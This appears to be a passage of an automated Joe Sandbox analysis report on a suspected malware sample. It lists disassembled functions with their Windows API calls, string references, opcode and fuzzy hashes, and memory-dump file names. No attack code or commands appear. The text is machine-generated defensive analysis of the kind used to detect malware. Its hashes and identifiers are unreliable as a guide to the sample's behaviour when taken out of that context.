Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 973ac4a955278155064161a4d63dbe6b99ccc62035c0026a498718668b27418c
Instruction ID: 4ab4742efd9f38a5ab7247260937e48917df74cd7a371ccbe118ef3d0576f6b7
Opcode Fuzzy Hash: 973ac4a955278155064161a4d63dbe6b99ccc62035c0026a498718668b27418c
Instruction Fuzzy Hash: D0F03104B0928282FE5576AD5D25AB792846F7EB40FD804748B2D467DADD2CA5805530

Function 00007FF7B67F0E5C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF7B67F0E9A

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 6cb8d6af9808862ce5c6d1e218701f51077bf56df55e472ff95833f18a2663ca
Instruction ID: b944ca8f94d3bb6ebcac0a3e98a862c9ee2488b23db02c9b4e1b188cb87b60ff
Opcode Fuzzy Hash: 6cb8d6af9808862ce5c6d1e218701f51077bf56df55e472ff95833f18a2663ca
Instruction Fuzzy Hash: 82F05400B192C385FA647A795C31A7792814FAE760FC806B4DF6D453C9DE2CA4509534

Function 00007FF7B67C42D0 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF7B67C427E), ref: 00007FF7B67C42F6

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction ID: f76416c10ee7ec979f517bbb6dd735d3cb9ee1584c5bec735b643a819c1b9ec1
Opcode Fuzzy Hash: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction Fuzzy Hash: B5F0A423A08642D5FB249B38E85437AB760DB6AF79F984374D73C011DDDF28D8958320

Non-executed Functions

Function 00007FF7B67CE91C Relevance: 43.2, APIs: 22, Strings: 2, Instructions: 1205COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF7B67CFCC4

Part of subcall function 00007FF7B67CAEE0: LoadStringW.USER32 ref: 00007FF7B67CAF67
Part of subcall function 00007FF7B67CAEE0: LoadStringW.USER32 ref: 00007FF7B67CAF80

Part of subcall function 00007FF7B67DEC2C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7B67CFBC5), ref: 00007FF7B67DEC60
Part of subcall function 00007FF7B67DEC2C: SetLastError.KERNEL32 ref: 00007FF7B67DECA3

Part of subcall function 00007FF7B67C12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67C13B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC2C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC32
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC38
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC3E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC44
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC4A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC50
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC56
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC5C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC62
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC68
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC6E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC74
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC7A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC80
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC86
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC8C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFC92
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFCCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CFCD4

Strings

%s: %s, xrefs: 00007FF7B67CF3AD
%ls, xrefs: 00007FF7B67CEB48, 00007FF7B67CEB9B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastLoadString$Concurrency::cancel_current_taskInit_thread_footer
String ID: %ls$%s: %s
API String ID: 2539828978-2259941744
Opcode ID: 1d3cbc19e4e1dbb22a2acefae036e62ad68edc13d54aabbef10823836ec3d9f6
Instruction ID: ca77282cf33003a4e4fa530d4f93ba6b161af00b8a2d632ac227a2d1393e8558
Opcode Fuzzy Hash: 1d3cbc19e4e1dbb22a2acefae036e62ad68edc13d54aabbef10823836ec3d9f6
Instruction Fuzzy Hash: C4B28762A1868281EA10BB2DD8651BBE311EFEF7A0F904376E79D436DEDE2CD540C750

Function 00007FF7B67F59E0 Relevance: 22.3, APIs: 8, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F60A2
memcpy_s.LIBCMT ref: 00007FF7B67F6A4F
memcpy_s.LIBCMT ref: 00007FF7B67F6AF6

Part of subcall function 00007FF7B67F6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F6D7E

memcpy_s.LIBCMT ref: 00007FF7B67F6BBF

Part of subcall function 00007FF7B67F0510: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F0535

Strings

1#INF, xrefs: 00007FF7B67F6C97
1#IND, xrefs: 00007FF7B67F6C3A
1#SNAN, xrefs: 00007FF7B67F6C59
1#QNAN, xrefs: 00007FF7B67F6C78

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 1759834784-2761157908
Opcode ID: 9299a3169d015825bf4d3bc5b4bd651bd176d2d756bbc2b925d21ab17e7b8838
Instruction ID: e254fa83c53439b4d938631c3ac0786921025b092431b4c61e7a7dcf67693361
Opcode Fuzzy Hash: 9299a3169d015825bf4d3bc5b4bd651bd176d2d756bbc2b925d21ab17e7b8838
Instruction Fuzzy Hash: 37B2EC72A081C28BE725EE2DDC60AFE6795FB69388F905175DB0957B8CDF38E5048B10

Function 00007FF7B67C72AC Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF7B67C730E
GetFullPathNameW.KERNEL32 ref: 00007FF7B67C735A
GetFullPathNameW.KERNEL32 ref: 00007FF7B67C7477
GetFullPathNameW.KERNEL32 ref: 00007FF7B67C74BC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C762C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C7632
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C7638
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C763E

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: c5592b693c74ccad0e5d78d632396af68d872ce8b1fec77960f8407698a9532c
Instruction ID: fe731bba4b8367c8efbc153dc8d992273cd79d05ecf0e35fe123f13115e3b1de
Opcode Fuzzy Hash: c5592b693c74ccad0e5d78d632396af68d872ce8b1fec77960f8407698a9532c
Instruction Fuzzy Hash: 8BA1A362F14B5185FF00AB7D9C645BEA321AB6ABE4B945275DF2D17BCCDE3CD0818210

Function 00007FF7B67E6940 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7B67E695C
RtlCaptureContext.KERNEL32 ref: 00007FF7B67E6989
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B67E69A3
RtlVirtualUnwind.KERNEL32 ref: 00007FF7B67E69E4
IsDebuggerPresent.KERNEL32 ref: 00007FF7B67E6A38
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B67E6A59
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7B67E6A64

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 5f39327fa42525bc33200ed161c8229643c86edd9f1335a814b99d0019b01ea8
Instruction ID: 03f3cb5e55009636bd47fc8c4ed94f5c7fe27747994a8a69cbb030575ccb39a4
Opcode Fuzzy Hash: 5f39327fa42525bc33200ed161c8229643c86edd9f1335a814b99d0019b01ea8
Instruction Fuzzy Hash: 76314F76608B8186EB60DF64E8507EEB364FBA9748F84403ADB4D47A99DF3CD548C720

Function 00007FF7B67EAC68 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7B67EACE1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B67EACF9
RtlVirtualUnwind.KERNEL32 ref: 00007FF7B67EAD34
IsDebuggerPresent.KERNEL32 ref: 00007FF7B67EAD6D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B67EAD77
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7B67EAD82

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2759f8db754f876dc0f97b654b135c0d6c98d8b2746f43aa6ee3cc8681b6d2d7
Instruction ID: 31ba2768b62d228dd0aa50aea8e52ff349acb9d2696987e38a61d0663dc8a959
Opcode Fuzzy Hash: 2759f8db754f876dc0f97b654b135c0d6c98d8b2746f43aa6ee3cc8681b6d2d7
Instruction Fuzzy Hash: C1317F36608B8186D720DF29EC506AEB3A4FB99758F900136EB9D43B69DF3CD5498B10

Function 00007FF7B67F2F24 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F2F54

Part of subcall function 00007FF7B67EAEC4: GetCurrentProcess.KERNEL32(00007FF7B67F415D), ref: 00007FF7B67EAEF1

Strings

., xrefs: 00007FF7B67F3374
*?, xrefs: 00007FF7B67F2F7B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction ID: e5227483f577d6ecccf364fac1d2c196b31eb49b4d518e5aa601eef7f28c0b4b
Opcode Fuzzy Hash: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction Fuzzy Hash: A2511A62B24BD581EB10EFA99C208EAA795FB69BD4B844172DF1D17B89DE7CD0418320

Function 00007FF7B67F5510 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF7B67F559B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction ID: 594d019c7a6c10f12e6641d6375b500195ca2e5fc39227b9e2cd9919c8290d48
Opcode Fuzzy Hash: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction Fuzzy Hash: 90D11772B182C287EB34DF19E594A6AB7A1F7A9784F548134DB4E57748DB3CE801CB10

Function 00007FF7B67C3BF8 Relevance: 4.5, APIs: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00007FF7B67CFD53), ref: 00007FF7B67C3C05
FormatMessageW.KERNEL32(?,?,?,?,?,?,00000000,00007FF7B67CFD53), ref: 00007FF7B67C3C39
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,00007FF7B67CFD53), ref: 00007FF7B67C3C63

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: 684dc38ac55c5e82846154b96ca5d63968fe70dc8924e915fe5da19121ede087
Instruction ID: d776f0be2bf3c36b048a1fecafae8c6c03556bcc0d707e39be863faa2a8af00e
Opcode Fuzzy Hash: 684dc38ac55c5e82846154b96ca5d63968fe70dc8924e915fe5da19121ede087
Instruction Fuzzy Hash: 5201217161C74582E710AB1AB89057BA361BBAEBD0F844174EB4D46B49DE3CD5058B10

Function 00007FF7B67F3130 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF7B67F3374

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 235d398572f0be20e3fb8c6319951830835c2244ab5eef47411310ef9754f573
Instruction ID: e132497ce8e75b366f4da6fec3f23fdda90aae69a02619f3cf3d2eebf859e21e
Opcode Fuzzy Hash: 235d398572f0be20e3fb8c6319951830835c2244ab5eef47411310ef9754f573
Instruction Fuzzy Hash: 2831FC21B14AD146F710AA26DC15BA7B791AB5ABF4F548235DF6C07BC9CE3CD5018340

Function 00007FF7B67F9008 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7B67F9255
RaiseException.KERNEL32 ref: 00007FF7B67F9266

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: d4849b446cfebff07557885922af6d4c071b7d011b782ff7bb17459a6eb955de
Instruction ID: 00d8995103c4283a89ccea2be82ab9820e57f176135dc1c50f519751ae380c22
Opcode Fuzzy Hash: d4849b446cfebff07557885922af6d4c071b7d011b782ff7bb17459a6eb955de
Instruction Fuzzy Hash: 13B1AD33610B858BEB15DF2DC86576DBBA0F789B48F148861DB5D837A8CB3AD411C710

Function 00007FF7B67DCA30 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67DC21C: GetDC.USER32 ref: 00007FF7B67DC228
Part of subcall function 00007FF7B67DC21C: GetDeviceCaps.GDI32 ref: 00007FF7B67DC239
Part of subcall function 00007FF7B67DC21C: ReleaseDC.USER32 ref: 00007FF7B67DC246

GetObjectW.GDI32 ref: 00007FF7B67DCA84

Part of subcall function 00007FF7B67DCCEC: GetDC.USER32 ref: 00007FF7B67DCD15
Part of subcall function 00007FF7B67DCCEC: GetObjectW.GDI32 ref: 00007FF7B67DCD43
Part of subcall function 00007FF7B67DCCEC: ReleaseDC.USER32 ref: 00007FF7B67DCDF7

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID:
API String ID: 1061551593-0
Opcode ID: a39c6f5289eeb3ccdb5d0bd3d1d8e799027f00d468a18c17e9e0985c25432a47
Instruction ID: 121517f725533dcab65434d2f48e1ea95ac8b82e8c0fb7a27a89943e3bf911ee
Opcode Fuzzy Hash: a39c6f5289eeb3ccdb5d0bd3d1d8e799027f00d468a18c17e9e0985c25432a47
Instruction Fuzzy Hash: 8E816A72B08A4586EB10DB6ED8546AEB375FBA9B88F804562CF0D57B68CF3CD004C750

Function 00007FF7B67DDE44 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF7B67DDE8D
GetNumberFormatW.KERNEL32 ref: 00007FF7B67DDEE9

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 8ec788ba47fdf6df10e78e7ac2cd74069c16868f0c385ff3f057b0f2eb63ee47
Instruction ID: d7fa2dfbc7c61d0845998f6e6edc7d966f0a80d1c13f83389190671d3b9d7723
Opcode Fuzzy Hash: 8ec788ba47fdf6df10e78e7ac2cd74069c16868f0c385ff3f057b0f2eb63ee47
Instruction Fuzzy Hash: 88118E22A19B8585E621AF54E8107ABB361FF99B44FC44175DB4C03628DF3CD155CB54

Function 00007FF7B67C6768 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF7B67C6799

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction ID: a5aab35d1c6cb2f9ecab36f31901e5bfee1be2214067f75c711915b6d6bc7e82
Opcode Fuzzy Hash: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction Fuzzy Hash: 4B014C75A085428BE624EB08ECA0377B7A1FBAE710F9006B4D74D46798DF3CE4518E20

Function 00007FF7B67EC074 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF7B67EC22B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
